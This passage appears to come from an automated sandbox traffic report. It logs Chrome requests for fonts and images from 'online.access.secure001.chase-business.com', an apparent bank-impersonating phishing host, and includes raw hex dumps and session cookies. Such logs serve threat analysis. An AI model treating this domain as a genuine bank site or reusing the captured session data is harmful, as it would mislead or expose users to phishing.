69 73 0e c5 1b 6f 0d 5d 48 ca cf 24 48 a4 64 01 c9 ab 92 e8 6d 09 2b 6f 24 6a 50 Data Ascii: +(#`d//UHS8=ni-3?M1fkSzUS'nG-9!W UfIq&Z"Gk2I.33K]#')>q-XOW95f8,/`,IO$DDp#8ino`0Dxiso]H$Hdm+o$jP
2024-12-20 00:21:54 UTC	16384	IN	Data Raw: fc aa 7a 0f c2 b4 94 ac 42 46 27 f6 25 ba 33 6f 66 c0 1c 16 61 c9 fc 2a 58 74 bb 38 a3 17 13 45 ba 05 fb cd 9c 66 ab c5 73 ac 49 2b c2 2d 24 69 09 e4 6c c1 5a ba 2c 75 46 87 fd 36 57 88 11 d3 70 6f d2 93 7e 60 97 91 25 de a1 67 0c 49 1d b4 69 e5 8e 42 c7 80 0f d6 b3 46 a1 6a 26 26 4d 36 27 07 a1 2a 32 be fe f5 5d e1 86 da 50 c8 e5 d4 76 60 41 3f 5a b9 63 7d 33 4c ce 6c 7e d0 a0 00 09 18 0b ef cd 3b 2b 03 6c 95 77 de 4c ad 1e 0a 02 38 f2 f0 a2 b4 2e ec 18 05 dd 7e 09 6e 8a b1 8d aa 2a 0b bf 10 28 8c db db a8 b7 3d 0c 8e c3 f1 c0 15 9d 3e bb 0f 97 e5 44 8d 20 ee ce 7e f7 e1 45 a4 c2 e8 d2 fe c5 4b 7b 77 b9 91 bc e2 06 e5 8d 47 de 3d aa 09 d6 f0 c2 8f 69 6e b1 32 ae 5c c9 f2 f3 f8 d6 7a eb a1 72 cf 1c b3 31 e8 1a 4c 2a fe 02 ab cd ab 3d c0 2c e9 93 8c 01 9c Data Ascii: zBF'%3ofaXt8EfsI+-$ilZ,uF6Wpo~`%gIiBFj&&M6'2]Pv`A?Zc}3Ll~;+lwL8.~n(=>D ~EK{wG=in2\zr1L=,
2024-12-20 00:21:54 UTC	16384	IN	Data Raw: ad 77 6d 05 c5 97 96 9f bb 50 32 08 ae 72 6c dd cb e7 d9 c7 32 03 dc 67 93 53 da 58 5f 4b 36 d1 70 d9 c7 47 c8 c5 0d 2d ee 24 cb 36 1e 74 72 fc ee 62 84 1e ed c9 ad 06 ba 91 41 68 a0 fb 43 13 91 bc 85 0a 2a cc 1a 1d b2 c3 be ed 83 e0 ee eb 81 9f 5a cb bc d5 ad 63 99 d2 22 c4 2f 4c 2f 06 a7 59 31 b6 a2 49 79 7b 71 12 07 8a 38 d4 1e c4 13 cd 24 7a be f8 d7 cc b8 8e 37 f7 4d c2 b2 9b 59 9a 49 07 96 02 63 a8 23 20 d4 e9 6e fa 9b 61 13 6b 1e ea 38 ab e5 b2 d4 9b df 62 0b ad 42 79 27 f9 6e 18 00 7b 1f 94 d5 7f 36 5b 79 fc c4 93 76 4e 73 52 5e 69 e6 d8 96 86 5f 35 14 ed 6f 55 34 c8 ad 5a ea 32 d0 f2 cb d8 9a d1 35 6b 91 6d 4e 97 4c ba 92 6b 60 ec 3b e3 39 ce 6a ce e3 82 5b 20 8f 4a e7 f4 76 97 cd 6b 66 46 f9 b8 6e 39 5f 7a d5 3a 14 70 cd e6 c7 3c ca bd 4a b3 64 Data Ascii: wmP2rl2gSX_K6pG-$6trbAhC*Zc"/L/Y1Iy{q8$z7MYIc# nak8bBy'n{6[yvNsR^i_5oU4Z25kmNLk`;9j[ JvkfFn9_z:p<Jd

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.4	49851	188.119.66.154	443	2056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 00:21:53 UTC	897	OUT	GET /content/fonts/opensans-regular.woff HTTP/1.1 Host: online.access.secure001.chase-business.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://online.access.secure001.chase-business.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://online.access.secure001.chase-business.com/web/auth/dashboard/dashboard/index/index Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=0idu20ao0cqj0jqtb57oudfbrn; stp=0; ppath=web%2Fauth%2Fdashboard%2Fdashboard%2Findex%2Findex; uid=5a4d22e2b2bbd8eeecd1e5b6b012d987; wt=0; uid_hash=bbecbe4eee67084dce4f604c98e6ce6e
2024-12-20 00:21:53 UTC	251	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 00:21:53 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Wed, 31 Jan 2024 20:22:18 GMT ETag: "612c-61043a2a77280" Accept-Ranges: bytes Content-Length: 24876 Connection: close Content-Type: font/woff
2024-12-20 00:21:53 UTC	16384	IN	Data Raw: 77 4f 46 46 00 01 00 00 00 00 61 2c 00 13 00 00 00 00 b1 3c 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 46 46 54 4d 00 00 01 a8 00 00 00 1c 00 00 00 1c 66 ed 72 e3 47 44 45 46 00 00 01 c4 00 00 00 1e 00 00 00 20 01 17 00 04 47 50 4f 53 00 00 01 e4 00 00 04 a2 00 00 09 98 2c 1a 16 58 47 53 55 42 00 00 06 88 00 00 00 81 00 00 00 a8 a0 5e 88 92 4f 53 2f 32 00 00 07 0c 00 00 00 60 00 00 00 60 a0 e5 99 86 63 6d 61 70 00 00 07 6c 00 00 01 86 00 00 01 da cf 40 58 a0 63 76 74 20 00 00 08 f4 00 00 00 46 00 00 00 46 13 5b 0d 37 66 70 67 6d 00 00 09 3c 00 00 01 b1 00 00 02 65 53 b4 2f a7 67 61 73 70 00 00 0a f0 00 00 00 08 00 00 00 08 00 00 00 10 67 6c 79 66 00 00 0a f8 00 00 4c e5 00 00 91 ac e7 65 76 51 68 65 61 64 00 00 57 e0 00 00 00 Data Ascii: wOFFa,<FFTMfrGDEF GPOS,XGSUB^OS/2``cmapl@Xcvt FF[7fpgm<eS/gaspglyfLevQheadW
2024-12-20 00:21:53 UTC	8492	IN	Data Raw: 1b 60 e2 16 9b 09 71 b4 d0 96 59 53 aa 65 d6 89 55 95 38 08 22 d9 c1 6a a2 95 09 2c f5 5e d5 26 56 17 35 4c 03 24 dd 35 0b 0f 8e 80 0d cf b2 07 b9 63 2d 87 d8 bc 96 cf d9 81 2d f6 16 f9 73 12 22 87 ef 4a 75 d2 2a b0 b3 fb 94 fe 2e a7 da db 5c ca cc 51 2a 98 e3 85 3c 53 ca 97 a5 1a 5d b1 bb 9e c6 ca ba 66 76 c5 61 6d 6d 31 18 e2 65 98 21 00 fb 75 9f d3 53 50 58 14 c2 cd 54 2c 34 1a ac bc 9f ae 84 13 db 41 0a 8a 70 bc 80 64 28 44 bd aa b3 d3 96 68 e1 e7 5a a2 49 7b 3b be b3 2e 69 d2 d0 da c0 ef b8 6b ba c5 d1 d6 ec 57 fa c2 b8 1f 41 fe e1 3c 8b 6b 2f d6 c5 ec be 48 17 73 a3 d9 80 39 33 cc 94 79 da f5 33 a7 ab ff 33 3a 9b 5b 86 aa 8a 23 b5 30 29 8d d1 1e be 21 ff 2b 7c 1d 42 95 d4 20 99 50 fd 2e a9 3b 92 50 69 cb 52 4a 23 13 26 df c5 69 96 73 31 98 90 89 68 Data Ascii: `qYSeU8"j,^&V5L$5c--s"Ju.\Q<S]fvamm1e!uSPXT,4Apd(DhZI{;.ikWA<k/Hs93y33:[#0)!+\|B P.;PiRJ#&is1h

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.4	49852	188.119.66.154	443	2056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 00:21:53 UTC	894	OUT	GET /content/fonts/opensans-bold.woff HTTP/1.1 Host: online.access.secure001.chase-business.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://online.access.secure001.chase-business.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://online.access.secure001.chase-business.com/web/auth/dashboard/dashboard/index/index Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=0idu20ao0cqj0jqtb57oudfbrn; stp=0; ppath=web%2Fauth%2Fdashboard%2Fdashboard%2Findex%2Findex; uid=5a4d22e2b2bbd8eeecd1e5b6b012d987; wt=0; uid_hash=bbecbe4eee67084dce4f604c98e6ce6e
2024-12-20 00:21:53 UTC	251	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 00:21:53 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Wed, 31 Jan 2024 19:48:02 GMT ETag: "38a8-61043281b6080" Accept-Ranges: bytes Content-Length: 14504 Connection: close Content-Type: font/woff
2024-12-20 00:21:53 UTC	14504	IN	Data Raw: 77 4f 46 46 00 01 00 00 00 00 38 a8 00 0f 00 00 00 00 62 e0 00 01 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 47 44 45 46 00 00 01 58 00 00 00 16 00 00 00 16 00 10 00 d6 47 50 4f 53 00 00 01 70 00 00 00 0c 00 00 00 0c 00 15 00 0a 47 53 55 42 00 00 01 7c 00 00 00 0c 00 00 00 0c 00 15 00 0a 4f 53 2f 32 00 00 01 88 00 00 00 60 00 00 00 60 a2 75 a1 18 63 6d 61 70 00 00 01 e8 00 00 00 90 00 00 00 bc 8d c4 90 e3 67 61 73 70 00 00 02 78 00 00 00 0c 00 00 00 0c 00 08 00 1b 67 6c 79 66 00 00 02 84 00 00 23 d0 00 00 34 80 1e 04 33 39 68 65 61 64 00 00 26 54 00 00 00 36 00 00 00 36 fc ff ca b2 68 68 65 61 00 00 26 8c 00 00 00 1f 00 00 00 24 0e 29 07 81 68 6d 74 78 00 00 26 ac 00 00 01 fc 00 00 03 50 bd a9 4c 0b 6b 65 72 6e 00 00 28 a8 00 00 0a Data Ascii: wOFF8bGDEFXGPOSpGSUB\|OS/2``ucmapgaspxglyf#439head&T66hhea&$)hmtx&PLkern(

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.4	49854	142.250.181.110	443	2056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 00:21:53 UTC	573	OUT	OPTIONS /log?format=json&hasfast=true&authuser=0 HTTP/1.1 Host: play.google.com Connection: keep-alive Accept: / Access-Control-Request-Method: POST Access-Control-Request-Headers: content-encoding,content-type,x-goog-authuser Origin: https://drive.google.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Sec-Fetch-Mode: cors Sec-Fetch-Site: same-site Sec-Fetch-Dest: empty Referer: https://drive.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-20 00:21:54 UTC	547	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: https://drive.google.com Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Max-Age: 86400 Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web,authorization,content-encoding,content-type,x-goog-authuser,origin Content-Type: text/plain; charset=UTF-8 Date: Fri, 20 Dec 2024 00:21:54 GMT Server: Playlog Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.4	49857	188.119.66.154	443	2056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 00:21:55 UTC	898	OUT	GET /content/fonts/opensans-semibold.woff HTTP/1.1 Host: online.access.secure001.chase-business.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://online.access.secure001.chase-business.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://online.access.secure001.chase-business.com/web/auth/dashboard/dashboard/index/index Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=0idu20ao0cqj0jqtb57oudfbrn; stp=0; ppath=web%2Fauth%2Fdashboard%2Fdashboard%2Findex%2Findex; uid=5a4d22e2b2bbd8eeecd1e5b6b012d987; wt=0; uid_hash=bbecbe4eee67084dce4f604c98e6ce6e
2024-12-20 00:21:55 UTC	251	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 00:21:55 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Wed, 31 Jan 2024 19:45:24 GMT ETag: "6214-610431eb07d00" Accept-Ranges: bytes Content-Length: 25108 Connection: close Content-Type: font/woff
2024-12-20 00:21:55 UTC	16384	IN	Data Raw: 77 4f 46 46 00 01 00 00 00 00 62 14 00 13 00 00 00 00 b1 b8 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 46 46 54 4d 00 00 01 a8 00 00 00 1c 00 00 00 1c 6c 2f de 9c 47 44 45 46 00 00 01 c4 00 00 00 1d 00 00 00 1e 00 27 00 f0 47 50 4f 53 00 00 01 e4 00 00 04 a2 00 00 09 98 2c 1a 16 58 47 53 55 42 00 00 06 88 00 00 00 81 00 00 00 a8 a0 5e 88 92 4f 53 2f 32 00 00 07 0c 00 00 00 5e 00 00 00 60 a1 cc 92 6e 63 6d 61 70 00 00 07 6c 00 00 01 86 00 00 01 da cf 40 58 a0 63 76 74 20 00 00 08 f4 00 00 00 3a 00 00 00 3a 13 db 0d fe 66 70 67 6d 00 00 09 30 00 00 01 b1 00 00 02 65 53 b4 2f a7 67 61 73 70 00 00 0a e4 00 00 00 08 00 00 00 08 00 00 00 10 67 6c 79 66 00 00 0a ec 00 00 4d e5 00 00 92 48 fa 69 f7 a3 68 65 61 64 00 00 58 d4 00 00 00 Data Ascii: wOFFbFFTMl/GDEF'GPOS,XGSUB^OS/2^`ncmapl@Xcvt ::fpgm0eS/gaspglyfMHiheadX
2024-12-20 00:21:55 UTC	8724	IN	Data Raw: c6 63 b0 04 fe b4 0a b6 f1 23 da fb ec c5 de 22 3b 9d ca 11 6f d3 20 0b b2 9d 74 ba ed 48 b9 53 c0 76 59 7b aa 5d d6 87 dd 3c b2 14 4b 75 cc 52 a7 d6 c2 53 17 57 6b 60 f5 53 f8 1d 26 e9 8e 59 f8 12 b0 43 8f e7 d7 8b d1 d6 b7 78 5f eb 31 be 4f cb 7e d5 bc 95 64 91 a7 e7 a5 ba 68 99 d6 e0 17 b2 3e 2e 9f d6 d3 dc 15 a7 be 60 57 73 32 24 72 d9 62 45 aa b1 19 44 50 c9 c5 3d a9 c8 ac 20 02 9d 91 2c 63 60 b6 1b 8e 45 71 e0 3c b8 22 3a d0 43 2e 93 36 59 dd 59 62 31 c3 2e b9 68 62 bb 62 f6 0e 7e 21 5c 86 71 66 2b ce 25 e0 4c 54 76 45 e9 d7 9b a2 49 07 b0 7f a6 36 69 f2 48 5b 37 e0 4c 6d d3 ad 7d da b9 07 ac 17 4c 68 01 7d 69 e3 fc dc e8 b3 75 33 67 9d ad 9b 99 16 68 e8 2d 8b ed fa 9a d3 65 f9 19 1d ce ad a5 ba bd 49 ed 52 ca ce 74 58 df b0 ff 8b f5 75 58 95 6e 74 Data Ascii: c#";o tHSvY{]<KuRSWk`S&YCx_1O~dh>.`Ws2$rbEDP= ,c`Eq<":C.6YYb1.hbb~!\qf+%LTvEI6iH[7Lm}Lh}iu3gh-eIRtXuXnt

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.4	49858	188.119.66.154	443	2056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 00:21:55 UTC	590	OUT	GET /content/wordmark-white.svg HTTP/1.1 Host: online.access.secure001.chase-business.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=0idu20ao0cqj0jqtb57oudfbrn; stp=0; ppath=web%2Fauth%2Fdashboard%2Fdashboard%2Findex%2Findex; uid=5a4d22e2b2bbd8eeecd1e5b6b012d987; wt=0; uid_hash=bbecbe4eee67084dce4f604c98e6ce6e
2024-12-20 00:21:55 UTC	253	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 00:21:55 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Wed, 31 Jan 2024 20:18:26 GMT ETag: "581-6104394d36880" Accept-Ranges: bytes Content-Length: 1409 Connection: close Content-Type: image/svg+xml
2024-12-20 00:21:55 UTC	1409	IN	Data Raw: 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 33 38 30 20 37 32 2e 32 22 3e 0a 09 09 3c 70 61 74 68 20 66 69 6c 6c 3d 22 23 46 46 46 46 46 46 22 20 64 3d 22 4d 33 35 36 2e 31 2c 31 6c 2d 32 32 2e 35 2c 30 63 2d 31 2e 34 2c 30 2d 32 2e 35 2c 31 2e 31 2d 32 2e 35 2c 32 2e 35 76 31 37 2e 34 48 33 37 37 4c 33 35 36 2e 31 2c 31 7a 22 2f 3e 0a 09 09 3c 70 61 74 68 20 66 69 6c 6c 3d 22 23 46 46 46 46 46 46 22 20 64 3d 22 4d 33 37 36 2e 32 2c 32 33 2e 36 68 2d 31 37 2e 34 76 34 35 2e 39 6c 31 39 2e 38 2d 32 30 2e 39 6c 30 2d 32 32 2e 35 43 33 37 38 2e 37 2c 32 34 2e 37 2c 33 37 37 2e 36 2c 32 33 2e 36 2c 33 37 36 2e 32 2c 32 33 2e 36 7a 22 2f 3e 0a 09 Data Ascii: <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 380 72.2"><path fill="#FFFFFF" d="M356.1,1l-22.5,0c-1.4,0-2.5,1.1-2.5,2.5v17.4H377L356.1,1z"/><path fill="#FFFFFF" d="M376.2,23.6h-17.4v45.9l19.8-20.9l0-22.5C378.7,24.7,377.6,23.6,376.2,23.6z"/>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.4	49856	188.119.66.154	443	2056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 00:21:55 UTC	871	OUT	GET /content/fonts/dcefont.woff HTTP/1.1 Host: online.access.secure001.chase-business.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://online.access.secure001.chase-business.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://online.access.secure001.chase-business.com/content/css/blue-ui.css Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=0idu20ao0cqj0jqtb57oudfbrn; stp=0; ppath=web%2Fauth%2Fdashboard%2Fdashboard%2Findex%2Findex; uid=5a4d22e2b2bbd8eeecd1e5b6b012d987; wt=0; uid_hash=bbecbe4eee67084dce4f604c98e6ce6e
2024-12-20 00:21:55 UTC	252	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 00:21:55 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Wed, 31 Jan 2024 20:19:50 GMT ETag: "11298-6104399d52580" Accept-Ranges: bytes Content-Length: 70296 Connection: close Content-Type: font/woff
2024-12-20 00:21:55 UTC	16384	IN	Data Raw: 77 4f 46 46 00 01 00 00 00 01 12 98 00 0b 00 00 00 01 12 4c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4f 53 2f 32 00 00 01 08 00 00 00 60 00 00 00 60 17 12 0e 60 63 6d 61 70 00 00 01 68 00 00 01 cc 00 00 01 cc 9c fb cb a8 67 61 73 70 00 00 03 34 00 00 00 08 00 00 00 08 00 00 00 10 67 6c 79 66 00 00 03 3c 00 01 07 d8 00 01 07 d8 6b f2 e6 c6 68 65 61 64 00 01 0b 14 00 00 00 36 00 00 00 36 25 93 c6 61 68 68 65 61 00 01 0b 4c 00 00 00 24 00 00 00 24 17 d5 14 d2 68 6d 74 78 00 01 0b 70 00 00 03 94 00 00 03 94 9f 3b 38 1c 6c 6f 63 61 00 01 0f 04 00 00 01 cc 00 00 01 cc 07 b9 49 4c 6d 61 78 70 00 01 10 d0 00 00 00 20 00 00 00 20 00 f7 02 41 6e 61 6d 65 00 01 10 f0 00 00 01 86 00 00 01 86 99 4a 09 fb 70 6f 73 74 00 01 12 78 00 00 00 Data Ascii: wOFFLOS/2```cmaphgasp4glyf<khead66%ahheaL$$hmtxp;8locaILmaxp AnameJpostx
2024-12-20 00:21:56 UTC	16384	IN	Data Raw: 14 30 fe 20 01 e0 f5 14 1c 1c 14 14 1c 1c 14 a2 01 44 0e 14 14 0e fe bc 0e 14 14 0e 22 01 00 ff 00 a9 0b 1c 08 08 03 0b 0b 18 0c 13 0e 0e 14 09 10 07 13 0e 07 08 2d 20 0e 0f 02 01 06 02 0a 21 11 0b 1b 09 08 03 0c 0b 17 0c 14 0e 0e 13 09 10 07 13 0e 07 07 2e 20 0e 0f 01 02 06 02 0a 22 10 03 93 14 0e fc 9e 0e 14 14 0e 03 62 0e 14 fc 9d 03 20 fc e0 93 1c 14 14 1c 1c 14 14 1c 27 14 0e 01 ff 0e 14 14 0e fe 01 0e 14 02 00 fe 44 01 15 08 03 0c 0b 1b 09 08 0c 03 07 0e 13 13 0e 06 03 0a 06 11 2c 16 1a 22 05 02 0a 05 04 08 02 09 05 0d 08 03 0b 0c 1b 09 08 0c 03 07 0e 13 13 0e 07 03 09 06 11 2c 17 19 22 05 02 0a 05 04 08 02 09 05 0d 00 00 00 05 00 01 00 99 04 00 02 ec 00 0b 00 17 00 3e 00 45 00 52 00 00 01 32 36 35 34 26 23 22 06 15 14 16 37 32 16 15 14 06 23 22 26 Data Ascii: 0 D"- !. "b 'D,",">ER2654&#"72#"&
2024-12-20 00:21:56 UTC	16384	IN	Data Raw: 36 33 32 17 1e 01 17 16 17 1c 01 15 14 06 23 25 21 26 27 2e 01 27 26 23 22 07 0e 01 07 06 07 02 00 31 2b 2b 40 13 12 12 13 40 2b 2b 31 30 2c 2b 40 12 13 13 12 40 2b 2c 30 2a 25 25 37 0f 10 10 0f 37 25 25 2a 29 25 25 37 10 10 10 10 37 25 25 01 2c fd 56 03 07 02 03 02 02 0e 0e 4c 45 46 71 70 45 45 4d 0e 0e 03 0a 07 fd 67 02 87 03 0d 0d 46 3e 3e 64 65 3e 3e 45 0e 0d 03 01 c2 13 13 40 2b 2c 31 31 2b 2c 40 13 13 13 13 40 2c 2b 31 31 2c 2b 41 12 13 01 b9 10 10 37 25 25 2a 2a 25 25 38 10 10 10 10 38 25 25 2a 2a 25 25 37 10 10 fc 68 02 03 02 06 04 6b 4c 4c 62 17 17 17 17 60 4c 4b 6a 01 02 01 07 0b 23 64 44 43 52 12 11 11 12 52 43 44 64 00 01 00 1c ff f7 03 e4 03 8c 00 2b 00 00 01 03 2e 01 23 22 06 07 03 05 0e 01 07 06 16 1f 01 03 06 16 17 1e 01 37 25 05 16 32 37 Data Ascii: 632#%!&'.'&#"1++@@++10,+@@+,0%%77%%)%%77%%,VLEFqpEEMgF>>de>>E@+,11+,@@,+11,+A7%%%%88%%%%7hkLLb`LKj#dDCRRCDd+.#"7%27
2024-12-20 00:21:56 UTC	16384	IN	Data Raw: 8a 0a 02 0b 0b 1d 0a 6f 67 0a 1d 0b 07 06 02 02 02 06 1b 0e 01 04 0d 0a 06 06 1c 0d fe fc 0a 0b 00 07 00 28 00 46 03 d8 03 3a 00 10 00 15 00 19 00 27 00 35 00 44 00 52 00 00 01 21 22 06 15 11 14 16 33 21 32 36 35 11 34 26 23 05 21 03 21 11 01 21 13 21 05 33 32 36 35 34 26 2b 01 22 06 15 14 16 17 23 22 06 15 14 16 3b 01 32 36 35 34 26 25 33 32 36 35 34 26 2b 01 22 06 15 14 16 33 17 23 22 06 15 14 16 3b 01 32 36 35 34 26 03 b5 fc 96 0e 15 15 0e 03 6a 0e 15 15 0e fc ba 01 61 03 fe a2 03 22 fe 83 02 01 7b fd 3c a5 0f 15 15 0f a5 0e 15 15 b3 a5 0e 15 15 0e a5 0f 15 15 01 0d a5 0e 15 15 0e a5 0f 15 15 0f a5 a5 0f 15 15 0f a5 0e 15 15 03 3a 15 0f fd 54 0f 15 15 0f 02 ac 0f 15 47 fd 9a 02 66 fd 9a 02 66 ec 15 0e 0f 15 15 0f 0e 15 8e 15 0e 0f 15 15 0f 0e 15 8e 15 Data Ascii: og(F:'5DR!"3!2654&#!!!!32654&+"#";2654&%32654&+"3#";2654&ja"{<:TGff
2024-12-20 00:21:56 UTC	4760	IN	Data Raw: 33 32 36 3d 01 21 15 14 16 33 32 36 3d 01 33 15 21 35 19 01 21 11 21 01 33 15 23 27 33 15 23 35 23 33 15 23 35 17 33 15 23 35 23 33 15 23 35 03 76 93 14 0e 0e 14 fe c2 14 0e 0e 14 93 0e 14 14 0e 02 ec 0e 14 14 0e fd 36 71 14 0e 0e 14 01 3e 14 0e 0e 14 71 fd 58 02 a8 fd 58 01 dc 72 72 cc 71 71 cc 71 71 cc 71 71 cc 71 71 03 31 2d 0e 14 14 0e 2d 2d 0e 14 14 0e 2d 14 0e fd 13 0e 14 14 0e 02 ed 0e 14 44 2e 0e 14 14 0e 2e 2e 0e 14 14 0e 2e b6 b6 fd 57 01 af fe 51 01 6b 71 71 71 71 71 71 b5 72 72 72 72 00 00 02 00 1b ff db 03 da 03 a5 00 29 00 4b 00 00 25 27 3e 01 35 34 27 2e 01 27 26 23 22 07 0e 01 07 06 15 14 17 1e 01 17 16 33 38 01 31 32 36 37 17 1e 01 33 32 36 37 36 34 27 25 22 27 2e 01 27 26 35 34 37 3e 01 37 36 33 32 17 1e 01 17 16 15 14 06 07 38 01 31 38 Data Ascii: 326=!326=3!5!!3#'3#5#3#53#5#3#5v6q>qXXrrqqqqqqqq1----D....WQkqqqqqqrrrr)K%'>54'.'&#"381267326764'%"'.'&547>7632818

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.4	49859	188.119.66.154	443	2056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 00:21:55 UTC	601	OUT	GET /content/background.desktop.90018.jpeg HTTP/1.1 Host: online.access.secure001.chase-business.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=0idu20ao0cqj0jqtb57oudfbrn; stp=0; ppath=web%2Fauth%2Fdashboard%2Fdashboard%2Findex%2Findex; uid=5a4d22e2b2bbd8eeecd1e5b6b012d987; wt=0; uid_hash=bbecbe4eee67084dce4f604c98e6ce6e
2024-12-20 00:21:56 UTC	254	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 00:21:56 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Thu, 27 Jun 2024 13:06:42 GMT ETag: "42d27-61bdecd573c80" Accept-Ranges: bytes Content-Length: 273703 Connection: close Content-Type: image/jpeg
